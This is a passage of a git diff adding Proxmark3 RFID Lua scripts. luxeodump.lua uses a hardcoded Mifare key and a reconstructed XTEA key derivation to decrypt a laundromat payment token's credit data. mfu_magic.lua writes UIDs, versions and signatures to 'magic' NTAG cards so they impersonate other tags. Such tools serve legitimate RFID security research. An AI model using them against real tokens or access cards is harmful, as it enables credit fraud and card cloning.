in getopt.getopt(args, 'hs:e:') do + if o == 'h' then return help() end + if o == 's' then startblock = a end + if o == 'e' then endblock = a end + end + +-- Original loop +-- core.console("hf 14a raw -a -p -b 7 45") +-- local cmd_select = string.format("hf 14a raw -c -p 9370%s", serial_number) +-- core.console(cmd_select) +-- for i = 0, 254 do +-- local cmd_rd_blk = string.format("hf 14a raw -c -p 30 %02x", i) +-- core.console(cmd_rd_blk) +-- core.console("hf 14a raw -p 80") +-- end +-- core.console("hf 14a raw -r") + + -- Wakeup + local payload = "45" + local res, err = send(payload,{connect = true, no_select = true, ignore_response = false, append_crc = false, bits7 = true}) + if err then return end + + -- start selecting + payload = "9320" + res, err = send(payload,{ignore_response = false, append_crc = false}) + if err then return end + + local serial_number = getdata(res) + payload = "9370"..serial_number + res, err = send(payload,{ignore_response = false, append_crc = true}) + if err then return end + + -- Show tag info + print(('\nFound LTO-CM serial number: [%s]\n'):format(serial_number)) + + -- Dumping data + print('blk | data ') + print('----+------------------') + local block_data = {} + for block = startblock, endblock do + + payload = string.format('30%02x', block) + res, err = send(payload , {ignore_response = false, append_crc = true}) + if err then return end + + local d0_d15 = getdata(res) + + payload = "80" + res, err = send(payload, {ignore_response = false, append_crc = false}) + if err then return end + + local d16_d31 = getdata(res) + + -- remove crc bytes + d0_d15 = string.sub(d0_d15, 0, #d0_d15 - 4) + d16_d31 = string.sub(d16_d31, 0, #d16_d31 - 4) + + print(block, d0_d15..d16_d31) + table.insert(block_data, d0_d15..d16_d31) + end + print("----+------------------") + lib14a.disconnect() + + local filename, err = utils.WriteDumpFile(serial_number, block_data) + if err then return oops(err) end + + print(string.format('\nDumped data into %s', filename)) +end + +main(args) diff --git a/client/luascripts/luxeodump.lua b/client/luascripts/luxeodump.lua new file mode 100644 index 000000000..6b7254801 --- /dev/null +++ b/client/luascripts/luxeodump.lua @@ -0,0 +1,277 @@ +--- +-- This Lua script is designed to run with Iceman/RRG Proxmark3 fork +-- Just copy luxeodump.lua to client/luascripts/ +-- and run "script run luxeodump" + +-- requirements +local cmds = require('commands') +local getopt = require('getopt') +local utils = require('utils') +local lib14a = require('read14a') +local ansicolors = require('ansicolors') + +copyright = '' +author = '0xdrrb' +version = 'v0.1.0' +desc = [[ +This is a script to dump and decrypt the data of a specific type of Mifare laundromat token. +]] +example = [[ + script run luxeodump +]] +usage = [[ +script run luxeodump +]] + +local PM3_SUCCESS = 0 + +-- Some shortcuts +local band = bit32.band +local bor = bit32.bor +local bnot = bit32.bnot +local bxor = bit32.bxor +local lsh = bit32.lshift +local rsh = bit32.rshift + +local acgreen = ansicolors.bright..ansicolors.green +local accyan = ansicolors.bright..ansicolors.cyan +local acred = ansicolors.red +local acyellow = ansicolors.bright..ansicolors.yellow +local acblue = ansicolors.bright..ansicolors.blue +local acmagenta = ansicolors.bright..ansicolors.magenta +local acoff = ansicolors.reset + + +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR: ', err) + core.clearCommandBuffer() + return nil, err +end + +local function setdevicedebug( status ) + local c = 'hw dbg ' + if status then + c = c..'1' + else + c = c..'0' + end + core.console(c) +end + +local function xteaCrypt(num_rounds, v, key) + local v0 = v[0] + local v1 = v[1] + local delta = 0x9E3779B9 + local sum = 0 + + for i = 0, num_rounds-1 do + -- v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); + v0 = band(bxor(bxor(lsh(v1,4), rsh(v1,5)) + v1, sum + key[band(sum,3)]) + v0, 0xFFFFFFFF) + sum = band(sum + delta, 0xFFFFFFFF) + -- v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); + v1 = band(bxor(bxor(lsh(v0,4), rsh(v0,5)) + v0, sum + key[band(rsh(sum,11),3)]) + v1, 0xFFFFFFFF) + end + v[0]=v0 + v[1]=v1 +end + +local function xteaDecrypt(num_rounds, v, key) + local v0 = v[0] + local v1 = v[1] + local delta = 0x9E3779B9 + local sum = band(delta * num_rounds, 0xFFFFFFFF) + + for i = 0, num_rounds-1 do + -- v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); + v1 = band(v1 - bxor(bxor(lsh(v0,4), rsh(v0,5)) + v0, sum + key[band(rsh(sum,11),3)]), 0xFFFFFFFF) + sum = band(sum - delta, 0xFFFFFFFF) + -- v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); + v0 = band(v0 - bxor(bxor(lsh(v1,4), rsh(v1,5)) + v1, sum + key[band(sum,3)]), 0xFFFFFFFF) + end + v[0]=v0 + v[1]=v1 +end + +local function createxteakey(mfuid) + local xteakey = {} + local buid = {} + local tmpkey = {} + local uid = {} + + -- Warning ! "it is customary in Lua to START ARRAYS WITH ONE" + buid = utils.ConvertHexToBytes(mfuid) + uid[0] = bor(buid[1], lsh(buid[2], 8)) + uid[1] = bor(buid[3], lsh(buid[4], 8)) + + tmpkey[0] = 0x198B + tmpkey[1] = uid[0] + tmpkey[2] = 0x46D8 + tmpkey[3] = uid[1] + tmpkey[4] = 0x5310 + tmpkey[5] = bxor(uid[0], 0xA312) + tmpkey[6] = 0xFFCB + tmpkey[7] = bxor(uid[1], 0x55AA) + + xteakey[0] = bor(lsh(tmpkey[1], 16), tmpkey[0]) + xteakey[1] = bor(lsh(tmpkey[3], 16), tmpkey[2]) + xteakey[2] = bor(lsh(tmpkey[5], 16), tmpkey[4]) + xteakey[3] = bor(lsh(tmpkey[7], 16), tmpkey[6]) + + return xteakey +end + +local function getblockdata(response) + if not response then + return nil, 'No response from device' + end + if response.Status == PM3_SUCCESS then + return response.Data + else + return nil, "Couldn't read block.. ["..response.Status.."]" + end +end + +local function readblock(blockno, key) + -- Read block N + local keytype = '01' -- key B + local data = ('%02x%s%s'):format(blockno, keytype, key) + local c = Command:newNG{cmd = cmds.CMD_HF_MIFARE_READBL, data = data} + local b, err = getblockdata(c:sendNG(false)) + if not b then return oops(err) end + return b +end + +local function readtag(mfkey,xteakey) + local tagdata = {} + local cleardata = {} + local v = {} + local vv = {} + + -- Read 4 sectors and build table + for sect = 8, 11 do + for blockn = sect*4, (sect*4)+2 do + local blockdata = readblock(blockn, mfkey) + if not blockdata then return oops('[!] failed reading block') end + table.insert(tagdata, blockdata) + end + end + + -- Decrypt data and build clear table + for key,value in ipairs(tagdata) do + local clearblockdata + v[0]=utils.SwapEndianness(value:sub(1,8),32) + v[1]=utils.SwapEndianness(value:sub(9,16),32) + xteaDecrypt(16, v, xteakey) + vv[0]=utils.SwapEndianness(value:sub(17,24),32) + vv[1]=utils.SwapEndianness(value:sub(25,32),32) + xteaDecrypt(16, vv, xteakey) + clearblockdata=string.format("%08X%08X%08X%08X", + utils.SwapEndianness(string.format("%08X", v[0]),32), + utils.SwapEndianness(string.format("%08X", v[1]),32), + utils.SwapEndianness(string.format("%08X", vv[0]),32), + utils.SwapEndianness(string.format("%08X", vv[1]),32)) + table.insert(cleardata, clearblockdata) + end + + return tagdata,cleardata + +end + + +local function main(args) + local xteakey = {} + -- local v = {} + local edata = {} + local cdata = {} + + -- Turn off Debug + setdevicedebug(false) + + -- GET TAG UID + tag, err = lib14a.read(false, true) + if err then + lib14a.disconnect() + return oops(err) + end + core.clearCommandBuffer() + + -- simple tag check + if 0x08 ~= tag.sak then + if 0x0400 ~= tag.atqa then + return oops(('[fail] found tag %s :: looking for Mifare S50 1k'):format(tag.name)) + end + end + + xteakey = createxteakey(tag.uid) + print(acblue.."UID: "..tag.uid..acoff) + print(acblue..string.format("XTEA key: %08X %08X %08X %08X", xteakey[0], xteakey[1], xteakey[2], xteakey[3])..acoff) + + edata, cdata = readtag("415A54454B4D",xteakey) + + if edata == nil or cdata == nil then + print("ERROR Reading tag!") + return nil + end + + print("Ciphered data:") + for key,value in ipairs(edata) do + print(value) + if key % 3 == 0 then print("") end + end + + -- compute CRC for each segment + crcH = utils.SwapEndianness(core.reveng_runmodel("CRC-16/ARC", cdata[1]..cdata[2]..cdata[3]:sub(1,28), false, '0'),16) + crcA = utils.SwapEndianness(core.reveng_runmodel("CRC-16/ARC", cdata[4]..cdata[5]..cdata[6]..cdata[7]:sub(1,28), false, '0'),16) + crcB = utils.SwapEndianness(core.reveng_runmodel("CRC-16/ARC", cdata[8]..cdata[9]..cdata[10]..cdata[11]:sub(1,28), false, '0'),16) + + print("\nHeader:") + for key,value in ipairs(cdata) do + if key == 3 then + print(value:sub(1,28)..acmagenta..value:sub(29,32)..acoff) + if utils.SwapEndianness(value:sub(29,32),16) == crcH then strcrc = " OK" else strcrc = acred.." CRCERROR !!" end + print(acmagenta.."CRC16/ARC = "..string.format("0x%04X", crcH)..strcrc..acoff) + print("\nDataA:") + elseif key == 4 then + print(acgreen..value:sub(1,4)..acoff..value:sub(5,16)..accyan..value:sub(17,24)..acoff..value:sub(25,26)..accyan..value:sub(27,28)..acoff..value:sub(29,32)) + versionA = utils.SwapEndianness(value:sub(1,4),16) + dateA = string.format("%d/%02d/%02d %02d:%02d", tonumber(value:sub(17,18),10)+2000, tonumber(value:sub(19,20),10), + tonumber(string.format("%02X", band(tonumber(value:sub(21,22),16),0x3f)),10), + tonumber(value:sub(23,24),10), tonumber(value:sub(27,28),10)) + elseif key == 8 then + print(acgreen..value:sub(1,4)..acoff..value:sub(5,16)..accyan..value:sub(17,24)..acoff..value:sub(25,26)..accyan..value:sub(27,28)..acoff..value:sub(29,32)) + versionB = utils.SwapEndianness(value:sub(1,4),16) + dateB = string.format("%d/%02d/%02d %02d:%02d", tonumber(value:sub(17,18),10)+2000, tonumber(value:sub(19,20),10), + tonumber(string.format("%02X", band(tonumber(value:sub(21,22),16),0x3f)),10), + tonumber(value:sub(23,24),10), tonumber(value:sub(27,28),10)) + elseif key == 5 then + print(acyellow..value:sub(1,4)..acoff..value:sub(5,32)) + creditA = utils.SwapEndianness(value:sub(1,4),16)/100 + elseif key == 9 then + print(acyellow..value:sub(1,4)..acoff..value:sub(5,32)) + creditB = utils.SwapEndianness(value:sub(1,4),16)/100 + elseif key == 7 then + print(value:sub(1,28)..acmagenta..value:sub(29,32)..acoff) + print(acgreen.."Version "..string.format("0x%04X", versionA)..acoff) + print(acyellow.."Credit : "..creditA..acoff) + if utils.SwapEndianness(value:sub(29,32),16) == crcA then strcrc = " OK" else strcrc = acred.." CRCERROR !!" end + print(acmagenta.."CRC16/ARC = "..string.format("0x%04X", crcA)..strcrc..acoff) + print(accyan.."Date: "..dateA..acoff) + print("\nDataB:") + elseif key == 11 then + print(value:sub(1,28)..acmagenta..value:sub(29,32)..acoff) + print(acgreen.."Version "..string.format("0x%04X", versionB)..acoff) + print(acyellow.."Credit : "..creditB..acoff) + if utils.SwapEndianness(value:sub(29,32),16) == crcB then strcrc = " OK" else strcrc = acred.." CRCERROR !!" end + print(acmagenta.."CRC16/ARC = "..string.format("0x%04X", crcB)..strcrc..acoff) + print(accyan.."Date: "..dateB..acoff) + print("\nFooter:") + else + print(value) + end + end + + return +end + +main(args) diff --git a/client/luascripts/mfckeys.lua b/client/luascripts/mfckeys.lua index 128967c37..32808b62d 100644 --- a/client/luascripts/mfckeys.lua +++ b/client/luascripts/mfckeys.lua @@ -159,9 +159,10 @@ end end -- -- dumps all keys to file -local function dumptofile(keys) +local function dumptofile(uid, keys) if utils.confirm('Do you wish to save the keys to dumpfile?') then - local destination = utils.input('Select a filename to store to', 'dumpkeys.bin') + local filename = ('hf-mf-%s-key.bin'):format(uid); + local destination = utils.input('Select a filename to store to', filename) local file = io.open(destination, 'wb') if file == nil then print('Could not write to file ', destination) @@ -192,7 +193,7 @@ local function printkeys() end --- -- -local function perform_check(numsectors) +local function perform_check(uid, numsectors) local keyType = 0 -- A=0, B=1 @@ -237,7 +238,7 @@ local function perform_check(numsectors) display_results(keys) -- save to dumpkeys.bin - dumptofile(keys) + dumptofile(uid, keys) end -- -- shows tag information @@ -282,7 +283,7 @@ local function main(args) -- detect sectors and print taginfo numsectors = taginfo(tag) - perform_check(numsectors) + perform_check(tag.uid, numsectors) end main( args) diff --git a/client/luascripts/mfu_magic.lua b/client/luascripts/mfu_magic.lua new file mode 100644 index 000000000..badc691c5 --- /dev/null +++ b/client/luascripts/mfu_magic.lua @@ -0,0 +1,658 @@ +local cmds = require('commands') +local getopt = require('getopt') +local lib14a = require('read14a') +local utils = require('utils') + +-- global +local DEBUG = false -- the debug flag +local bxor = bit32.bxor +local _password = nil +local err_lock = 'use -k or change cfg0 block' + +copyright = 'Copyright (c) 2017 IceSQL AB. All rights reserved.' +author = 'Christian Herrmann' +version = 'v1.1.2' +desc = 'This script enables easy programming of a MAGIC NTAG 21* card' +example = +[[ + -- wipe tag + script run mfu_magic -w + + -- wipe a locked down tag by giving the password + script run mfu_magic -k ffffffff -w + + --read magic tag configuration + script run mfu_magic -c + + -- set uid + script run mfu_magic -u 04112233445566 + + -- set pwd / pack + script run mfu_magic -p 11223344 -a 8080 + + -- set version to NTAG213 + script run mfu_magic -v 0004040201000f03 + + -- set signature + script run mfu_magic -s 1122334455667788990011223344556677889900112233445566778899001122 +]] +usage = +[[ +Usage: +script run mfu_magic -h -k -c -w -u -t -p -a -s -o -v + +Arguments: + -h this help + -c read magic configuration + -u UID (14 hexsymbols), set UID on tag + -t tag type to impersonate + 1 = UL_EV1 48k + 2 = UL_EV1 128k + 3 = NTAG 210 + 4 = NTAG 212 + 5 = NTAG 213 (true) + 6 = NTAG 215 (true) + 7 = NTAG 216 (true) + 8 = NTAG I2C 1K + 9 = NTAG I2C 2K + 10 = NTAG I2C 1K PLUS + 11 = NTAG I2C 2K PLUS + 12 = NTAG 213F (true) + 13 = NTAG 216F (true) + -p password (8 hexsymbols), set password on tag. + -a pack ( 4 hexsymbols), set pack on tag. + -s signature data (64 hexsymbols), set signature data on tag. + -o OTP data (8 hexsymbols), set one-time-pad data on tag. + -v version data (16 hexsymbols), set version data on tag. + -w wipe tag. You can specify password if the tag has been locked down. Fills tag with zeros and put default values for NTAG213 (like -t 5) + -k pwd to use with the wipe option +]] +--- +-- A debug printout-function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while result[i] do + dbg(result[i]) + i = i+1 + end + else + print('###', args) + end +end +-- This is only meant to be used when errors occur +local function oops(err) + print("ERROR: ",err) + core.clearCommandBuffer() + return nil, err +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print('Example usage') + print(example) + print(usage) +end +--- +-- set the global password variable +local function set_password(pwd) + if pwd == nil then _password = nil; return true, 'Ok' end + if #pwd ~= 8 then return nil, 'password wrong length. Must be 4 hex bytes' end + if #pwd == 0 then _password = nil end + _password = pwd + return true, 'Ok' +end +--- Picks out and displays the data read from a tag +-- Specifically, takes a usb packet, converts to a Command +-- (as in commands.lua), takes the data-array and +-- reads the number of bytes specified in arg1 (arg0 in c-struct) +-- @param usbpacket the data received from the device +local function getResponseData(usbpacket) + local resp = Command.parse(usbpacket) + local len = tonumber(resp.arg1) * 2 + return string.sub(tostring(resp.data), 0, len); +end +--- +-- +local function sendRaw(rawdata, options) + + local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + + lib14a.ISO14A_COMMAND.ISO14A_RAW + + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC + + local c = Command:newMIX{cmd = cmds.CMD_HF_ISO14443A_READER, + arg1 = flags, + -- arg2 contains the length, which is half the length of the ASCII-string rawdata + arg2 = string.len(rawdata)/2, + data = rawdata} + + return c:sendMIX(options.ignore_response) +end +--- +-- +local function send(payload) + local usb, err = sendRaw(payload,{ignore_response = false}) + if err then return oops(err) end + return getResponseData(usb) +end +--- +-- select tag and if password is set, authenticate +local function connect() + core.clearCommandBuffer() + + -- First of all, connect + info, err = lib14a.read(true, true) + if err then + lib14a.disconnect() + return oops(err) + end + core.clearCommandBuffer() + + --authenticate if needed using global variable + if _password then + send('1B'.._password) + end + return true +end +-- +-- Read magic configuration +local function read_config() + local info = connect() + if not info then return false, "Can't select card" end + + -- read PWD + local pwd = send("30F0"):sub(1,8) + + -- 04 response indicates that blocks has been locked down. + if pwd == '04' then lib14a.disconnect(); return nil, "can't read configuration, "..err_lock end + + -- read PACK + local pack = send("30F1"):sub(1,4) + + -- read SIGNATURE + local signature1 = send('30F2'):sub(1,32) + local signature2 = send('30F6'):sub(1,32) + + -- read VERSION + local version = send('30FA'):sub(1,16) + -- read config + local cardtype = send('30FC'):sub(1,2) + + local typestr = '' + if cardtype == '00' then typestr = 'NTAG 213' + elseif cardtype == '01' then typestr = 'NTAG 215' + elseif cardtype == '02' then typestr = 'NTAG 216' + end + + print('Magic NTAG 21* Configuration') + print(' - Type ', typestr, '(geniune cardtype)') + print(' - Password', pwd) + print(' - Pack ', pack) + print(' - Version ', version) + print(' - Signature', signature1..signature2) + + lib14a.disconnect() + return true, 'Ok' +end +--- +-- Write SIGNATURE data +local function write_signature(data) + + -- uid string checks + if data == nil then return nil, 'empty data string' end + if #data == 0 then return nil, 'empty data string' end + if #data ~= 64 then return nil, 'data wrong length. Should be 32 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new signature') + + local b,c + local cmd = 'A2F%d%s' + local j = 2 + for i = 1, #data, 8 do + b = data:sub(i,i+7) + c = cmd:format(j,b) + local resp = send(c) + if resp == '04' then lib14a.disconnect(); return nil, 'Failed to write signature' end + j = j + 1 + end + lib14a.disconnect() + return true, 'Ok' +end +--- +-- Write PWD +local function write_pwd(pwd) + -- PWD string checks + if pwd == nil then return nil, 'empty PWD string' end + if #pwd == 0 then return nil, 'empty PWD string' end + if #pwd ~= 8 then return nil, 'PWD wrong length. Should be 4 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new PWD ', pwd) + + local resp = send('A2F0'..pwd) + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write password' + else + return true, 'Ok' + end +end +--- +-- Write PACK +local function write_pack(pack) + -- PACK string checks + if pack == nil then return nil, 'empty PACK string' end + if #pack == 0 then return nil, 'empty PACK string' end + if #pack ~= 4 then return nil, 'PACK wrong length. Should be 4 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new PACK', pack) + + local resp = send('A2F1'..pack..'0000') + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write pack' + else + return true, 'Ok' + end +end +-- +-- Write OTP block +local function write_otp(block3) + + -- OTP string checks + if block3 == nil then return nil, 'empty OTP string' end + if #block3 == 0 then return nil, 'empty OTP string' end + if #block3 ~= 8 then return nil, 'OTP wrong length. Should be 4 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new OTP ', block3) + + local resp = send('A203'..block3) + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write OTP' + else + return true, 'Ok' + end +end +-- +-- Writes a UID with bcc1, bcc2. Needs a magic tag. +local function write_uid(uid) + -- uid string checks + if uid == nil then return nil, 'empty uid string' end + if #uid == 0 then return nil, 'empty uid string' end + if #uid ~= 14 then return nil, 'uid wrong length. Should be 7 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new UID ', uid) + + local uidbytes = utils.ConvertHexToBytes(uid) + local bcc1 = bxor(bxor(bxor(uidbytes[1], uidbytes[2]), uidbytes[3]), 0x88) + local bcc2 = bxor(bxor(bxor(uidbytes[4], uidbytes[5]), uidbytes[6]), uidbytes[7]) + local block0 = string.format('%02X%02X%02X%02X', uidbytes[1], uidbytes[2], uidbytes[3], bcc1) + local block1 = string.format('%02X%02X%02X%02X', uidbytes[4], uidbytes[5], uidbytes[6], uidbytes[7]) + local block2 = string.format('%02X%02X%02X%02X', bcc2, 0x48, 0x00, 0x00) + local resp + + resp = send('A200'..block0) + resp = send('A201'..block1) + resp = send('A202'..block2) + lib14a.disconnect() + + if resp == '04' then + return nil, 'Failed to write new uid' + else + return true, 'Ok' + end +end +--- +-- Write VERSION data, +-- make sure you have correct version data +local function write_version(data) + -- version string checks + if data == nil then return nil, 'empty version string' end + if #data == 0 then return nil, 'empty version string' end + if #data ~= 16 then return nil, 'version wrong length. Should be 8 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new version', data) + + local b1 = data:sub(1,8) + local b2 = data:sub(9,16) + local resp + resp = send('A2FA'..b1) + resp = send('A2FB'..b2) + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write version' + else + return true, 'Ok' + end +end +--- +-- writen TYPE which card is based on. +-- 00 = 213, 01 = 215, 02 = 216 +local function write_type(data) + -- type string checks + if data == nil then return nil, 'empty type string' end + if #data == 0 then return nil, 'empty type string' end + if #data ~= 2 then return nil, 'type wrong length. Should be 1 hex byte' end + + local info = connect() + if not info then return false, "Can't select card" end + print('Writing new type', data) + + local resp = send('A2FC'..data..'000000') + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write type' + else + return true, 'Ok' + end +end +--- +-- Set tag type. Predefinde version data together with magic type set. +-- Since cmd always gives 10 bytes len (data+crc) we can impersonate the following types +-- we only truely be three types NTAG 213,215 and 216 +local function set_type(tagtype) + + -- tagtype checks + if type(tagtype) == 'string' then tagtype = tonumber(tagtype, 10) end + if tagtype == nil then return nil, 'empty tagtype' end + + if tagtype == 1 then + print('Setting: UL-EV1 48') + write_otp('00000000') -- Setting OTP to default 00 00 00 00 + write_version('0004030101000b03') -- UL-EV1 (48) 00 04 03 01 01 00 0b 03 + write_type('00') -- based on NTAG213.. + + -- Setting UL-Ev1 default config bl 16,17 + connect() + send('a210000000FF') + send('a21100050000') + + elseif tagtype == 2 then + print('Setting: UL-EV1 128') + write_otp('00000000') -- Setting OTP to default 00 00 00 00 + write_version('0004030101000e03') -- UL-EV1 (128) 00 04 03 01 01 00 0e 03 + write_type('01') + + -- Setting UL-Ev1 default config bl 37,38 + connect() + send('a225000000FF') + send('a22600050000') + elseif tagtype == 3 then + print('Setting: NTAG 210') + write_version('0004040101000b03') -- NTAG210 00 04 04 01 01 00 0b 03 + write_type('00') + + -- Setting NTAG210 default CC block456 + connect() + send('a203e1100600') + send('a2040300fe00') + send('a20500000000') + -- Setting cfg1/cfg2 + send('a210000000FF') + send('a21100050000') + elseif tagtype == 4 then + print('Setting: NTAG 212') + write_version('0004040101000E03') -- NTAG212 00 04 04 01 01 00 0E 03 + write_type('00') + + -- Setting NTAG212 default CC block456 + connect() + send('a203e1101000') + send('a2040103900a') + send('a205340300fe') + -- Setting cfg1/cfg2 + send('a225000000FF') + send('a22600050000') + elseif tagtype == 5 then + print('Setting: NTAG 213') + write_version('0004040201000F03') -- NTAG213 00 04 04 02 01 00 0f 03 + write_type('00') + + -- Setting NTAG213 default CC block456 + connect() + send('a203e1101200') + send('a2040103a00c') + send('a205340300fe') + -- setting cfg1/cfg2 + send('a229000000ff') + send('a22a00050000') + elseif tagtype == 6 then + print('Setting: NTAG 215') + write_version('0004040201001103') -- NTAG215 00 04 04 02 01 00 11 03 + write_type('01') + + -- Setting NTAG215 default CC block456 + connect() + send('a203e1103e00') + send('a2040300fe00') + send('a20500000000') + -- setting cfg1/cfg2 + send('a283000000ff') + send('a28400050000') + elseif tagtype == 7 then + print('Setting: NTAG 216') + write_version('0004040201001303') -- NTAG216 00 04 04 02 01 00 13 03 + write_type('02') + + -- Setting NTAG216 default CC block456 + connect() + send('a203e1106d00') + send('a2040300fe00') + send('a20500000000') + -- setting cfg1/cfg2 + send('a2e3000000ff') + send('a2e400050000') + elseif tagtype == 8 then + print('Setting: NTAG I2C 1K') + write_version('0004040502011303') -- NTAG_I2C_1K 00 04 04 05 02 01 13 03 + write_type('02') + + -- Setting NTAG I2C 1K default CC block456 + connect() + send('a203e1106D00') + send('a2040300fe00') + send('a20500000000') + elseif tagtype == 9 then + print('Setting: NTAG I2C 2K') + write_version('0004040502011503') -- NTAG_I2C_2K 00 04 04 05 02 01 15 03 + write_type('02') + + -- Setting NTAG I2C 2K default CC block456 + connect() + send('a203e110EA00') + send('a2040300fe00') + send('a20500000000') + elseif tagtype == 10 then + print('Setting: NTAG I2C plus 1K') + write_version('0004040502021303') -- NTAG_I2C_1K 00 04 04 05 02 02 13 03 + write_type('02') + + -- Setting NTAG I2C 1K default CC block456 + connect() + send('a203e1106D00') + send('a2040300fe00') + send('a20500000000') + elseif tagtype == 11 then + print('Setting: NTAG I2C plus 2K') + write_version('0004040502021503') -- NTAG_I2C_2K 00 04 04 05 02 02 15 03 + write_type('02') + + -- Setting NTAG I2C 2K default CC block456 + connect() + send('a203e1106D00') + send('a2040300fe00') + send('a20500000000') + elseif tagtype == 12 then + print('Setting: NTAG 213F') + write_version('0004040401000F03') -- NTAG213F 00 04 04 04 01 00 0f 03 + write_type('00') + + -- Setting NTAG213 default CC block456 + connect() + send('a203e1101200') + send('a2040103a00c') + send('a205340300fe') + -- setting cfg1/cfg2 + send('a229000000ff') + send('a22a00050000') + elseif tagtype == 13 then + print('Setting: NTAG 216F') + write_version('0004040401001303') -- NTAG216F 00 04 04 04 01 00 13 03 + write_type('02') + + -- Setting NTAG216 default CC block456 + connect() + send('a203e1106d00') + send('a2040300fe00') + send('a20500000000') + -- setting cfg1/cfg2 + send('a2e3000000ff') + send('a2e400050000') + end + + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to set type' + else + return true, 'Ok' + end +end +--- +-- wipe tag +local function wipe() + + local info = connect() + if not info then return false, "Can't select card" end + + local err, msg, resp + local cmd_empty = 'A2%02X00000000' + local cmd_cfg1 = 'A2%02X000000FF' + local cmd_cfg2 = 'A2%02X00050000' + + print('Wiping tag') + + for b = 3, 0xFB do + --configuration block 0 + if b == 0x29 or b == 0x83 or b == 0xe3 then + local cmd = (cmd_cfg1):format(b) + resp = send(cmd) + --configuration block 1 + elseif b == 0x2a or b == 0x84 or b == 0xe4 then + local cmd = (cmd_cfg2):format(b) + resp = send(cmd) + else + resp = send(cmd_empty:format(b)) + end + if resp == '04' or #resp == 0 then + io.write('\nwrote block '..b, ' failed\n') + err = true + else + io.write('.') + end + io.flush() + end + io.write('\r\n') + + lib14a.disconnect() + + if err then return nil, "Tag locked down, "..err_lock end + + print('setting default values...') + + set_password(nil) + + -- set NTAG213 default values + err, msg = set_type(5) + if err == nil then return err, msg end + + --set UID + err, msg = write_uid('04112233445566') + if err == nil then return err, msg end + + --set pwd + err, msg = write_pwd('FFFFFFFF') + if err == nil then return err, msg end + + --set pack + err, msg = write_pack('0000') + if err == nil then return err, msg end + + return true, 'Ok' +end +--- +-- The main entry point +function main(args) + + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print() + + local err, msg + + if #args == 0 then return help() end + + -- Read the parameters + for o, a in getopt.getopt(args, 'hck:u:t:p:a:s:o:v:w') do + + -- help + if o == "h" then return help() end + + --key + if o == 'k' then err, msg = set_password(a) end + + -- configuration + if o == "c" then err, msg = read_config() end + + --wipe tag + if o == "w" then err, msg = wipe() end + + -- write uid + if o == "u" then err, msg = write_uid(a) end + + -- write type/version + if o == "t" then err, msg = set_type(a) end + + -- write pwd + if o == "p" then err, msg = write_pwd(a) end + + -- write pack + if o == "a" then err, msg = write_pack(a) end + + -- write signature + if o == "s" then err, msg = write_signature(a) end + + -- write otp + if o == "o" then err, msg = write_otp(a) end + + -- write version + if o == "v" then err, msg = write_version(a) end + + if err == nil then return oops(msg) end + end + +end + +main(args) diff --git a/client/luascripts/mifare_autopwn.lua b/client/luascripts/mifare_autopwn.lua index 2c9146e2b..624cea419 100644 --- a/client/luascripts/mifare_autopwn.lua +++ b/client/luascripts/mifare_autopwn.lua @@ -97,7 +97,7 @@ local function nested(key,sak) core.console(cmd) end -local function dump(uid, numsectors) +local function dump_tag(uid, numsectors) dbg('dumping tag memory') local typ = 1 @@ -203,7 +203,7 @@ local function main(args) -- Use nested attack nested(key, sak) -- Dump info - dump(uid, sak) + dump_tag(uid, sak) if #key == 12 then _exit = true end else diff --git a/client/luascripts/read_pwd_mem.lua b/client/luascripts/read_pwd_mem.lua index 8456fd51f..ffc00a998 100644 --- a/client/luascripts/read_pwd_mem.lua +++ b/client/luascripts/read_pwd_mem.lua @@ -26,10 +26,10 @@ example = -- This will print the stored Mifare dictionary keys script run read_pwd_mem -m - + -- This will print the stored t55xx dictionary passwords script run read_pwd_mem -t - + -- This will print the stored iClass dictionary keys script run read_pwd_mem -i ]] diff --git a/client/luascripts/read_pwd_mem_spiffs.lua b/client/luascripts/read_pwd_mem_spiffs.lua index 33afa0fe9..89ef64e6d 100644 --- a/client/luascripts/read_pwd_mem_spiffs.lua +++ b/client/luascripts/read_pwd_mem_spiffs.lua @@ -16,7 +16,7 @@ example = -- This will read the other.log file in SPIFFS and print the stored passwords script run read_pwd_mem_spiffs -f other.log - + -- This will delete the hf_bog.log file from SPIFFS script run read_pwd_mem_spiffs -r ]] @@ -68,7 +68,7 @@ local function main(args) -- offset if o == 'f' then filename = a end - + -- remove if o == 'r' then removeflag = true end @@ -79,7 +79,7 @@ local function main(args) core.console("mem spiffs remove " ..filename) return end - + data, length, err = core.GetFromFlashMemSpiffs(filename) if data == nil then return oops('Problem while reading file from SPIFFS') end diff --git a/client/luascripts/tnp3dump.lua b/client/luascripts/tnp3dump.lua index 488d2f5f9..9a7a9bc8f 100644 --- a/client/luascripts/tnp3dump.lua +++ b/client/luascripts/tnp3dump.lua @@ -109,7 +109,6 @@ local function main(args) local useNested = false local usePreCalc = false local cmdReadBlockString = 'hf mf rdbl %d A %s' - local input = "dumpkeys.bin" local outputTemplate = os.date("toydump_%Y-%m-%d_%H%M%S"); -- Arguments for the script @@ -132,13 +131,13 @@ local function main(args) core.console( cmdSetDbgOff) utils.Sleep(0.5) - result, err = lib14a.read(false, true) - if not result then return oops(err) end + tag, err = 